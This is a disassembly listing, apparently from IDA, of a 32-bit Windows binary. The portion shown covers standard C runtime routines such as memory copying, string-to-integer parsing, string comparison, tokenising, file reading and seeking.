sub_4182C0+35j ; sub_4182C0+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_418440: ; CODE XREF: sub_4182C0+35j ; sub_4182C0+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_418458: ; CODE XREF: sub_4182C0+1Aj lea esi, [ecx+esi-4] lea edi, [ecx+edi-4] test edi, 3 jnz short loc_41848C shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_418480 std rep movsd cld jmp off_4185A0[edx*4] ; --------------------------------------------------------------------------- align 10h loc_418480: ; CODE XREF: sub_4182C0+1B1j ; sub_4182C0+208j ... neg ecx jmp off_418550[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41848C: ; CODE XREF: sub_4182C0+1A6j mov eax, edi mov edx, 3 cmp ecx, 4 jb short loc_4184A4 and eax, 3 sub ecx, eax jmp dword ptr loc_4184A4+4[eax*4] ; --------------------------------------------------------------------------- loc_4184A4: ; CODE XREF: sub_4182C0+1D6j ; DATA XREF: sub_4182C0+1DDr jmp off_4185A0[ecx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_4184B7+1 ; --------------------------------------------------------------------------- fadd dword ptr [ecx+eax*2+41850000h] loc_4184B7: ; DATA XREF: sub_4182C0+1ECo add [edx-2EDCFCBAh], cl mov [edi+3], al dec esi shr ecx, 2 dec edi cmp ecx, 8 jb short loc_418480 std rep movsd cld jmp off_4185A0[edx*4] ; --------------------------------------------------------------------------- align 4 mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al sub esi, 2 sub edi, 2 cmp ecx, 8 jb short loc_418480 std rep movsd cld jmp off_4185A0[edx*4] ; --------------------------------------------------------------------------- align 10h mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al sub esi, 3 sub edi, 3 cmp ecx, 8 jb loc_418480 std rep movsd cld jmp off_4185A0[edx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_418554 dd offset loc_41855C dd offset loc_418564 dd offset loc_41856C dd offset loc_418574 dd offset loc_41857C dd offset loc_418584 off_418550 dd offset loc_418597 ; DATA XREF: sub_4182C0+1C2r ; --------------------------------------------------------------------------- loc_418554: ; DATA XREF: sub_4182C0+274o mov eax, [esi+ecx*4+1Ch] mov [edi+ecx*4+1Ch], eax loc_41855C: ; DATA XREF: sub_4182C0+278o mov eax, [esi+ecx*4+18h] mov [edi+ecx*4+18h], eax loc_418564: ; DATA XREF: sub_4182C0+27Co mov eax, [esi+ecx*4+14h] mov [edi+ecx*4+14h], eax loc_41856C: ; DATA XREF: sub_4182C0+280o mov eax, [esi+ecx*4+10h] mov [edi+ecx*4+10h], eax loc_418574: ; DATA XREF: sub_4182C0+284o mov eax, [esi+ecx*4+0Ch] mov [edi+ecx*4+0Ch], eax loc_41857C: ; DATA XREF: sub_4182C0+288o mov eax, [esi+ecx*4+8] mov [edi+ecx*4+8], eax loc_418584: ; DATA XREF: sub_4182C0+28Co mov eax, [esi+ecx*4+4] mov [edi+ecx*4+4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_418597: ; CODE XREF: sub_4182C0+1C2j ; DATA XREF: sub_4182C0:off_418550o jmp off_4185A0[edx*4] ; --------------------------------------------------------------------------- align 10h off_4185A0 dd offset loc_4185B0 ; DATA XREF: sub_4182C0+1B7r ; sub_4182C0:loc_4184A4r ... dd offset loc_4185B8 dd offset loc_4185C8 dd offset loc_4185DC ; --------------------------------------------------------------------------- loc_4185B0: ; CODE XREF: sub_4182C0+1B7j ; sub_4182C0:loc_4184A4j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_4185B8: ; CODE XREF: sub_4182C0+1B7j ; sub_4182C0:loc_4184A4j ... mov al, [esi+3] mov [edi+3], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_4185C8: ; CODE XREF: sub_4182C0+1B7j ; sub_4182C0:loc_4184A4j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_4185DC: ; CODE XREF: sub_4182C0+1B7j ; sub_4182C0:loc_4184A4j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn sub_4182C0 endp ; =============== S U B R O U T I N E ======================================= sub_4185F5 proc near ; CODE XREF: sub_40473F+34p ; sub_40473F+4Fp ... arg_0 = dword ptr 4 push 1 push [esp+4+arg_0] call sub_417B9B pop ecx pop ecx retn sub_4185F5 endp ; =============== S U B R O U T I N E ======================================= sub_418603 proc near ; CODE XREF: sub_418670+4p arg_0 = dword ptr 4 push esi push dword_4CF03C call sub_41D5A8 mov edx, dword_4CF03C pop ecx mov ecx, dword_4CF038 mov esi, ecx sub esi, edx add esi, 4 cmp eax, esi pop esi jnb short loc_418662 push edx call sub_41D5A8 add eax, 10h push eax push dword_4CF03C call sub_41944F add esp, 0Ch test eax, eax jnz short loc_418645 retn ; --------------------------------------------------------------------------- loc_418645: ; CODE XREF: sub_418603+3Fj mov ecx, dword_4CF038 sub ecx, dword_4CF03C mov dword_4CF03C, eax sar ecx, 2 lea ecx, [eax+ecx*4] mov dword_4CF038, ecx loc_418662: ; CODE XREF: sub_418603+23j mov eax, [esp+arg_0] mov [ecx], eax add dword_4CF038, 4 retn sub_418603 endp ; =============== S U B R O U T I N E ======================================= sub_418670 proc near ; CODE XREF: sub_40482C+1Ap arg_0 = dword ptr 4 push [esp+arg_0] call sub_418603 neg eax sbb eax, eax pop ecx neg eax dec eax retn sub_418670 endp ; =============== S U B R O U T I N E ======================================= sub_418682 proc near ; DATA XREF: ___:00426018o push 80h call sub_417B89 test eax, eax pop ecx mov dword_4CF03C, eax jnz short loc_4186A3 push 18h call sub_419CDA mov eax, dword_4CF03C pop ecx loc_4186A3: ; CODE XREF: sub_418682+12j and dword ptr [eax], 0 mov eax, dword_4CF03C mov dword_4CF038, eax retn sub_418682 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4186B1 proc near ; CODE XREF: ___:00404AFFp ; sub_4053D5+4Ep var_CC = byte ptr -0CCh var_32 = word ptr -32h var_24 = dword ptr -24h var_20 = word ptr -20h var_1E = word ptr -1Eh var_1A = word ptr -1Ah var_18 = word ptr -18h var_16 = word ptr -16h var_10 = word ptr -10h var_E = word ptr -0Eh var_A = word ptr -0Ah var_8 = word ptr -8 var_6 = word ptr -6 var_4 = word ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0CCh lea eax, [ebp+var_10] push eax call near ptr 2630000h nop lea eax, [ebp+var_20] push eax nop call near ptr 2840000h mov ax, [ebp+var_16] cmp ax, word_4CD9AA jnz short loc_418716 mov ax, [ebp+var_18] cmp ax, word_4CD9A8 jnz short loc_418716 mov ax, [ebp+var_1A] cmp ax, word_4CD9A6 jnz short loc_418716 mov ax, [ebp+var_1E] cmp ax, word_4CD9A2 jnz short loc_418716 mov ax, [ebp+var_20] cmp ax, word_4CD9A0 jnz short loc_418716 mov eax, dword_4CD998 jmp short loc_41875B ; --------------------------------------------------------------------------- loc_418716: ; CODE XREF: sub_4186B1+28j ; sub_4186B1+35j ... lea eax, [ebp+var_CC] push eax nop call near ptr 2830000h cmp eax, 0FFFFFFFFh jz short loc_418743 cmp eax, 2 jnz short loc_41873F cmp [ebp+var_32], 0 jz short loc_41873F cmp [ebp+var_24], 0 jz short loc_41873F push 1 pop eax jmp short loc_418746 ; --------------------------------------------------------------------------- loc_41873F: ; CODE XREF: sub_4186B1+7Aj ; sub_4186B1+81j ... xor eax, eax jmp short loc_418746 ; --------------------------------------------------------------------------- loc_418743: ; CODE XREF: sub_4186B1+75j or eax, 0FFFFFFFFh loc_418746: ; CODE XREF: sub_4186B1+8Cj ; sub_4186B1+90j push esi push edi lea esi, [ebp+var_20] mov edi, offset word_4CD9A0 movsd movsd movsd movsd pop edi mov dword_4CD998, eax pop esi loc_41875B: ; CODE XREF: sub_4186B1+63j push eax movzx eax, [ebp+var_4] push eax movzx eax, [ebp+var_6] push eax movzx eax, [ebp+var_8] push eax movzx eax, [ebp+var_A] push eax movzx eax, [ebp+var_E] push eax movzx eax, [ebp+var_10] push eax call sub_41D609 mov ecx, [ebp+arg_0] add esp, 1Ch test ecx, ecx jz short locret_41878B mov [ecx], eax locret_41878B: ; CODE XREF: sub_4186B1+D6j leave retn sub_4186B1 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418790 proc near arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push edi push esi push ebx mov esi, [ebp+arg_4] mov edi, [ebp+arg_0] lea eax, dword_4CDA40 cmp dword ptr [eax+8], 0 jnz short loc_4187E3 mov al, 0FFh mov edi, edi loc_4187AC: ; CODE XREF: sub_418790+28j ; sub_418790+48j or al, al jz short loc_4187DE mov al, [esi] inc esi mov ah, [edi] inc edi cmp ah, al jz short loc_4187AC sub al, 41h cmp al, 1Ah sbb cl, cl and cl, 20h add al, cl add al, 41h xchg ah, al sub al, 41h cmp al, 1Ah sbb cl, cl and cl, 20h add al, cl add al, 41h cmp al, ah jz short loc_4187AC sbb al, al sbb al, 0FFh loc_4187DE: ; CODE XREF: sub_418790+1Ej movsx eax, al jmp short loc_418817 ; --------------------------------------------------------------------------- loc_4187E3: ; CODE XREF: sub_418790+16j mov eax, 0FFh xor ebx, ebx mov edi, edi loc_4187EC: ; CODE XREF: sub_418790+68j ; sub_418790+80j or al, al jz short loc_418817 mov al, [esi] inc esi mov bl, [edi] inc edi cmp al, bl jz short loc_4187EC push eax push ebx call sub_419101 mov ebx, eax add esp, 4 call sub_419101 add esp, 4 cmp bl, al jz short loc_4187EC sbb eax, eax sbb eax, 0FFFFFFFFh loc_418817: ; CODE XREF: sub_418790+51j ; sub_418790+5Ej pop ebx pop esi pop edi leave retn sub_418790 endp ; =============== S U B R O U T I N E ======================================= sub_41881C proc near ; CODE XREF: ___:0041ACB7p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push 0 push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_418833 add esp, 10h retn sub_41881C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418833 proc near ; CODE XREF: sub_41881C+Ep ; sub_418A3B+Ep var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 0Ch push ebx and [ebp+var_8], 0 push esi push edi mov edi, [ebp+arg_0] mov bl, [edi] lea esi, [edi+1] mov [ebp+var_4], esi loc_41884B: ; CODE XREF: sub_418833+46j cmp dword_433E7C, 1 jle short loc_418863 movzx eax, bl push 8 push eax call sub_41A642 pop ecx pop ecx jmp short loc_418872 ; --------------------------------------------------------------------------- loc_418863: ; CODE XREF: sub_418833+1Fj mov ecx, off_433C70 movzx eax, bl mov al, [ecx+eax*2] and eax, 8 loc_418872: ; CODE XREF: sub_418833+2Ej test eax, eax jz short loc_41887B mov bl, [esi] inc esi jmp short loc_41884B ; --------------------------------------------------------------------------- loc_41887B: ; CODE XREF: sub_418833+41j cmp bl, 2Dh mov [ebp+var_4], esi jnz short loc_418889 or [ebp+arg_C], 2 jmp short loc_41888E ; --------------------------------------------------------------------------- loc_418889: ; CODE XREF: sub_418833+4Ej cmp bl, 2Bh jnz short loc_418894 loc_41888E: ; CODE XREF: sub_418833+54j mov bl, [esi] inc esi mov [ebp+var_4], esi loc_418894: ; CODE XREF: sub_418833+59j mov eax, [ebp+arg_8] test eax, eax jl loc_418A2B cmp eax, 1 jz loc_418A2B cmp eax, 24h jg loc_418A2B push 10h test eax, eax pop ecx jnz short loc_4188DC cmp bl, 30h jz short loc_4188C6 mov [ebp+arg_8], 0Ah jmp short loc_4188F8 ; --------------------------------------------------------------------------- loc_4188C6: ; CODE XREF: sub_418833+88j mov al, [esi] cmp al, 78h jz short loc_4188D9 cmp al, 58h jz short loc_4188D9 mov [ebp+arg_8], 8 jmp short loc_4188F8 ; --------------------------------------------------------------------------- loc_4188D9: ; CODE XREF: sub_418833+97j ; sub_418833+9Bj mov [ebp+arg_8], ecx loc_4188DC: ; CODE XREF: sub_418833+83j cmp [ebp+arg_8], ecx jnz short loc_4188F8 cmp bl, 30h jnz short loc_4188F8 mov al, [esi] cmp al, 78h jz short loc_4188F0 cmp al, 58h jnz short loc_4188F8 loc_4188F0: ; CODE XREF: sub_418833+B7j mov bl, [esi+1] inc esi inc esi mov [ebp+var_4], esi loc_4188F8: ; CODE XREF: sub_418833+91j ; sub_418833+A4j ... or eax, 0FFFFFFFFh xor edx, edx div [ebp+arg_8] mov edi, 103h mov [ebp+var_C], eax loc_418908: ; CODE XREF: sub_418833+16Cj cmp dword_433E7C, 1 movzx esi, bl jle short loc_418920 push 4 push esi call sub_41A642 pop ecx pop ecx jmp short loc_41892B ; --------------------------------------------------------------------------- loc_418920: ; CODE XREF: sub_418833+DFj mov eax, off_433C70 mov al, [eax+esi*2] and eax, 4 loc_41892B: ; CODE XREF: sub_418833+EBj test eax, eax jz short loc_418937 movsx ecx, bl sub ecx, 30h jmp short loc_418969 ; --------------------------------------------------------------------------- loc_418937: ; CODE XREF: sub_418833+FAj cmp dword_433E7C, 1 jle short loc_41894B push edi push esi call sub_41A642 pop ecx pop ecx jmp short loc_418956 ; --------------------------------------------------------------------------- loc_41894B: ; CODE XREF: sub_418833+10Bj mov eax, off_433C70 mov ax, [eax+esi*2] and eax, edi loc_418956: ; CODE XREF: sub_418833+116j test eax, eax jz short loc_4189A4 movsx eax, bl push eax call sub_41D6CB pop ecx mov ecx, eax sub ecx, 37h loc_418969: ; CODE XREF: sub_418833+102j cmp ecx, [ebp+arg_8] jnb short loc_4189A4 mov esi, [ebp+var_8] or [ebp+arg_C], 8 cmp esi, [ebp+var_C] jb short loc_41898E jnz short loc_418988 or eax, 0FFFFFFFFh xor edx, edx div [ebp+arg_8] cmp ecx, edx jbe short loc_41898E loc_418988: ; CODE XREF: sub_418833+147j or [ebp+arg_C], 4 jmp short loc_418997 ; --------------------------------------------------------------------------- loc_41898E: ; CODE XREF: sub_418833+145j ; sub_418833+153j imul esi, [ebp+arg_8] add esi, ecx mov [ebp+var_8], esi loc_418997: ; CODE XREF: sub_418833+159j mov eax, [ebp+var_4] inc [ebp+var_4] mov bl, [eax] jmp loc_418908 ; --------------------------------------------------------------------------- loc_4189A4: ; CODE XREF: sub_418833+125j ; sub_418833+139j mov ecx, [ebp+arg_C] dec [ebp+var_4] mov edx, [ebp+arg_4] test cl, 8 jnz short loc_4189C2 test edx, edx jz short loc_4189BC mov eax, [ebp+arg_0] mov [ebp+var_4], eax loc_4189BC: ; CODE XREF: sub_418833+181j and [ebp+var_8], 0 jmp short loc_418A0F ; --------------------------------------------------------------------------- loc_4189C2: ; CODE XREF: sub_418833+17Dj test cl, 4 mov eax, 7FFFFFFFh jnz short loc_4189E8 test cl, 1 jnz short loc_418A0F and ecx, 2 jz short loc_4189DF cmp [ebp+var_8], 80000000h ja short loc_4189E8 loc_4189DF: ; CODE XREF: sub_418833+1A1j test ecx, ecx jnz short loc_418A0F cmp [ebp+var_8], eax jbe short loc_418A0F loc_4189E8: ; CODE XREF: sub_418833+197j ; sub_418833+1AAj test byte ptr [ebp+arg_C], 1 mov dword_4CD9B4, 22h jz short loc_4189FE or [ebp+var_8], 0FFFFFFFFh jmp short loc_418A0F ; --------------------------------------------------------------------------- loc_4189FE: ; CODE XREF: sub_418833+1C3j mov ecx, [ebp+arg_C] and cl, 2 neg cl sbb ecx, ecx neg ecx add ecx, eax mov [ebp+var_8], ecx loc_418A0F: ; CODE XREF: sub_418833+18Dj ; sub_418833+19Cj ... test edx, edx jz short loc_418A18 mov eax, [ebp+var_4] mov [edx], eax loc_418A18: ; CODE XREF: sub_418833+1DEj test byte ptr [ebp+arg_C], 2 jz short loc_418A26 mov eax, [ebp+var_8] neg eax mov [ebp+var_8], eax loc_418A26: ; CODE XREF: sub_418833+1E9j mov eax, [ebp+var_8] jmp short loc_418A36 ; --------------------------------------------------------------------------- loc_418A2B: ; CODE XREF: sub_418833+66j ; sub_418833+6Fj ... mov eax, [ebp+arg_4] test eax, eax jz short loc_418A34 mov [eax], edi loc_418A34: ; CODE XREF: sub_418833+1FDj xor eax, eax loc_418A36: ; CODE XREF: sub_418833+1F6j pop edi pop esi pop ebx leave retn sub_418833 endp ; =============== S U B R O U T I N E ======================================= sub_418A3B proc near ; CODE XREF: sub_4053D5+4BDp ; sub_40EE72+3773p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push 1 push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_418833 add esp, 10h retn sub_418A3B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418A52 proc near ; CODE XREF: sub_4053D5+266p ; sub_4053D5+46Ap ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] mov [ebp+var_14], 49h push eax mov [ebp+var_18], eax mov [ebp+var_20], eax call sub_417AB0 mov [ebp+var_1C], eax lea eax, [ebp+arg_8] push eax lea eax, [ebp+var_20] push [ebp+arg_4] push eax call sub_41D797 add esp, 10h leave retn sub_418A52 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418A86 proc near ; CODE XREF: sub_405A58+4Ep ; sub_406C19+30Ep ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ebx push esi push edi mov edi, [ebp+arg_4] imul edi, [ebp+arg_8] mov ebx, [ebp+arg_0] mov ecx, edi test edi, edi mov [ebp+var_4], edi mov [ebp+arg_0], ecx jnz short loc_418AAA xor eax, eax jmp loc_418B53 ; --------------------------------------------------------------------------- loc_418AAA: ; CODE XREF: sub_418A86+1Bj mov esi, [ebp+arg_C] test word ptr [esi+0Ch], 10Ch jz short loc_418ABD mov eax, [esi+18h] mov [ebp+arg_C], eax jmp short loc_418AC9 ; --------------------------------------------------------------------------- loc_418ABD: ; CODE XREF: sub_418A86+2Dj mov [ebp+arg_C], 1000h jmp short loc_418AC9 ; --------------------------------------------------------------------------- loc_418AC6: ; CODE XREF: sub_418A86+C4j mov ecx, [ebp+arg_0] loc_418AC9: ; CODE XREF: sub_418A86+35j ; sub_418A86+3Ej test word ptr [esi+0Ch], 10Ch jz short loc_418AFB mov eax, [esi+4] test eax, eax jz short loc_418AFB cmp ecx, eax mov edi, ecx jb short loc_418AE0 mov edi, eax loc_418AE0: ; CODE XREF: sub_418A86+56j push edi push dword ptr [esi] push ebx call sub_417390 sub [ebp+arg_0], edi sub [esi+4], edi add [esi], edi add esp, 0Ch add ebx, edi mov edi, [ebp+var_4] jmp short loc_418B46 ; --------------------------------------------------------------------------- loc_418AFB: ; CODE XREF: sub_418A86+49j ; sub_418A86+50j cmp ecx, [ebp+arg_C] jb short loc_418B2E cmp [ebp+arg_C], 0 mov eax, ecx jz short loc_418B11 xor edx, edx div [ebp+arg_C] mov eax, ecx sub eax, edx loc_418B11: ; CODE XREF: sub_418A86+80j push eax push ebx push dword ptr [esi+10h] call sub_41E321 add esp, 0Ch test eax, eax jz short loc_418B58 cmp eax, 0FFFFFFFFh jz short loc_418B5E sub [ebp+arg_0], eax add ebx, eax jmp short loc_418B46 ; --------------------------------------------------------------------------- loc_418B2E: ; CODE XREF: sub_418A86+78j push esi call sub_41E248 cmp eax, 0FFFFFFFFh pop ecx jz short loc_418B62 mov [ebx], al mov eax, [esi+18h] inc ebx dec [ebp+arg_0] mov [ebp+arg_C], eax loc_418B46: ; CODE XREF: sub_418A86+73j ; sub_418A86+A6j cmp [ebp+arg_0], 0 jnz loc_418AC6 mov eax, [ebp+arg_8] loc_418B53: ; CODE XREF: sub_418A86+1Fj ; sub_418A86+E6j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_418B58: ; CODE XREF: sub_418A86+9Aj or dword ptr [esi+0Ch], 10h jmp short loc_418B62 ; --------------------------------------------------------------------------- loc_418B5E: ; CODE XREF: sub_418A86+9Fj or dword ptr [esi+0Ch], 20h loc_418B62: ; CODE XREF: sub_418A86+B2j ; sub_418A86+D6j mov eax, edi xor edx, edx sub eax, [ebp+arg_0] div [ebp+arg_4] jmp short loc_418B53 sub_418A86 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418B6E proc near ; CODE XREF: sub_405AF2+2B2p ; sub_4060D0+101p ... var_20 = byte ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 20h push ebx push esi mov esi, [ebp+arg_4] push edi push 8 xor eax, eax pop ecx lea edi, [ebp+var_20] rep stosd push 7 pop edi loc_418B87: ; CODE XREF: sub_418B6E+32j mov dl, [esi] mov bl, 1 movzx ecx, dl mov eax, ecx and ecx, edi shr eax, 3 shl bl, cl lea eax, [ebp+eax+var_20] or [eax], bl inc esi test dl, dl jnz short loc_418B87 mov edx, [ebp+arg_0] test edx, edx jnz short loc_418BAF mov edx, dword_4CD9B0 loc_418BAF: ; CODE XREF: sub_418B6E+39j ; sub_418B6E+5Fj mov al, [edx] push 1 movzx esi, al mov ecx, esi pop ebx and ecx, edi shl ebx, cl shr esi, 3 mov cl, [ebp+esi+var_20] test bl, cl jz short loc_418BCF test al, al jz short loc_418BCF inc edx jmp short loc_418BAF ; --------------------------------------------------------------------------- loc_418BCF: ; CODE XREF: sub_418B6E+58j ; sub_418B6E+5Cj mov ebx, edx loc_418BD1: ; CODE XREF: sub_418B6E+81j mov al, [edx] test al, al jz short loc_418BF5 movzx esi, al mov ecx, esi push 1 and ecx, edi pop eax shl eax, cl shr esi, 3 mov cl, [ebp+esi+var_20] test al, cl jnz short loc_418BF1 inc edx jmp short loc_418BD1 ; --------------------------------------------------------------------------- loc_418BF1: ; CODE XREF: sub_418B6E+7Ej and byte ptr [edx], 0 inc edx loc_418BF5: ; CODE XREF: sub_418B6E+67j mov eax, ebx pop edi sub eax, edx pop esi neg eax sbb eax, eax mov dword_4CD9B0, edx and eax, ebx pop ebx leave retn sub_418B6E endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_418C10 proc near ; CODE XREF: sub_406387+1B6p ; sub_407252+6Ep ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov ecx, [esp+arg_8] push edi test ecx, ecx jz short loc_418C93 push esi push ebx mov ebx, ecx mov esi, [esp+0Ch+arg_4] test esi, 3 mov edi, [esp+0Ch+arg_0] jnz short loc_418C34 shr ecx, 2 jnz short loc_418CA1 jmp short loc_418C55 ; --------------------------------------------------------------------------- loc_418C34: ; CODE XREF: sub_418C10+1Bj ; sub_418C10+37j mov al, [esi] inc esi mov [edi], al inc edi dec ecx jz short loc_418C62 test al, al jz short loc_418C6A test esi, 3 jnz short loc_418C34 mov ebx, ecx shr ecx, 2 jnz short loc_418CA1 loc_418C50: ; CODE XREF: sub_418C10+8Fj and ebx, 3 jz short loc_418C62 loc_418C55: ; CODE XREF: sub_418C10+22j ; sub_418C10+50j mov al, [esi] inc esi mov [edi], al inc edi test al, al jz short loc_418C8E dec ebx jnz short loc_418C55 loc_418C62: ; CODE XREF: sub_418C10+2Bj ; sub_418C10+43j mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_418C6A: ; CODE XREF: sub_418C10+2Fj test edi, 3 jz short loc_418C84 loc_418C72: ; CODE XREF: sub_418C10+72j mov [edi], al inc edi dec ecx jz loc_418D06 test edi, 3 jnz short loc_418C72 loc_418C84: ; CODE XREF: sub_418C10+60j mov ebx, ecx shr ecx, 2 jnz short loc_418CF7 loc_418C8B: ; CODE XREF: sub_418C10+7Fj ; sub_418C10+F4j mov [edi], al inc edi loc_418C8E: ; CODE XREF: sub_418C10+4Dj dec ebx jnz short loc_418C8B pop ebx pop esi loc_418C93: ; CODE XREF: sub_418C10+7j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_418C99: ; CODE XREF: sub_418C10+A9j ; sub_418C10+C1j mov [edi], edx add edi, 4 dec ecx jz short loc_418C50 loc_418CA1: ; CODE XREF: sub_418C10+20j ; sub_418C10+3Ej mov edx, 7EFEFEFFh mov eax, [esi] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [esi] add esi, 4 test eax, 81010100h jz short loc_418C99 test dl, dl jz short loc_418CEB test dh, dh jz short loc_418CE1 test edx, 0FF0000h jz short loc_418CD7 test edx, 0FF000000h jnz short loc_418C99 mov [edi], edx jmp short loc_418CEF ; --------------------------------------------------------------------------- loc_418CD7: ; CODE XREF: sub_418C10+B9j and edx, 0FFFFh mov [edi], edx jmp short loc_418CEF ; --------------------------------------------------------------------------- loc_418CE1: ; CODE XREF: sub_418C10+B1j and edx, 0FFh mov [edi], edx jmp short loc_418CEF ; --------------------------------------------------------------------------- loc_418CEB: ; CODE XREF: sub_418C10+ADj xor edx, edx mov [edi], edx loc_418CEF: ; CODE XREF: sub_418C10+C5j ; sub_418C10+CFj ... add edi, 4 xor eax, eax dec ecx jz short loc_418D01 loc_418CF7: ; CODE XREF: sub_418C10+79j xor eax, eax loc_418CF9: ; CODE XREF: sub_418C10+EFj mov [edi], eax add edi, 4 dec ecx jnz short loc_418CF9 loc_418D01: ; CODE XREF: sub_418C10+E5j and ebx, 3 jnz short loc_418C8B loc_418D06: ; CODE XREF: sub_418C10+66j mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn sub_418C10 endp ; =============== S U B R O U T I N E ======================================= sub_418D0E proc near ; CODE XREF: sub_406C19+2E2p ; sub_406C19+435p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi mov esi, [esp+4+arg_0] push edi mov eax, [esi+0Ch] test al, 83h jz short loc_418D8A mov edi, [esp+8+arg_8] test edi, edi jz short loc_418D2D cmp edi, 1 jz short loc_418D2D cmp edi, 2 jnz short loc_418D8A loc_418D2D: ; CODE XREF: sub_418D0E+13j ; sub_418D0E+18j and al, 0EFh cmp edi, 1 mov [esi+0Ch], eax jnz short loc_418D44 push esi call sub_41E5B1 add [esp+0Ch+arg_4], eax pop ecx xor edi, edi loc_418D44: ; CODE XREF: sub_418D0E+27j push esi call sub_41A7D0 mov eax, [esi+0Ch] pop ecx test al, 80h jz short loc_418D59 and al, 0FCh mov [esi+0Ch], eax jmp short loc_418D6D ; --------------------------------------------------------------------------- loc_418D59: ; CODE XREF: sub_418D0E+42j test al, 1 jz short loc_418D6D test al, 8 jz short loc_418D6D test ah, 4 jnz short loc_418D6D mov dword ptr [esi+18h], 200h loc_418D6D: ; CODE XREF: sub_418D0E+49j ; sub_418D0E+4Dj ... push edi push [esp+0Ch+arg_4] push dword ptr [esi+10h] call sub_41E517 add esp, 0Ch xor ecx, ecx cmp eax, 0FFFFFFFFh setnz cl dec ecx mov eax, ecx jmp short loc_418D97 ; --------------------------------------------------------------------------- loc_418D8A: ; CODE XREF: sub_418D0E+Bj ; sub_418D0E+1Dj mov dword_4CD9B4, 16h or eax, 0FFFFFFFFh loc_418D97: ; CODE XREF: sub_418D0E+7Aj pop edi pop esi retn sub_418D0E endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418DA0 proc near ; CODE XREF: sub_406C19+2ACp ; sub_406C19+2CDp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi push ebx mov ecx, [ebp+arg_8] jecxz short loc_418DD1 mov ebx, ecx mov edi, [ebp+arg_0] mov esi, edi xor eax, eax repne scasb neg ecx add ecx, ebx mov edi, esi mov esi, [ebp+arg_4] repe cmpsb mov al, [esi-1] xor ecx, ecx cmp al, [edi-1] ja short loc_418DCF jz short loc_418DD1 dec ecx dec ecx loc_418DCF: ; CODE XREF: sub_418DA0+29j not ecx loc_418DD1: ; CODE XREF: sub_418DA0+9j ; sub_418DA0+2Bj mov eax, ecx pop ebx pop esi pop edi leave retn sub_418DA0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_418DE0 proc near ; CODE XREF: sub_407110+5Cp ; sub_407110+9Cp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov ecx, [esp+arg_8] push edi test ecx, ecx jz loc_418E94 mov edi, [esp+4+arg_0] push esi test edi, 3 push ebx jz short loc_418E0A loc_418DFB: ; CODE XREF: sub_418DE0+28j mov al, [edi] inc edi test al, al jz short loc_418E3B test edi, 3 jnz short loc_418DFB loc_418E0A: ; CODE XREF: sub_418DE0+19j ; 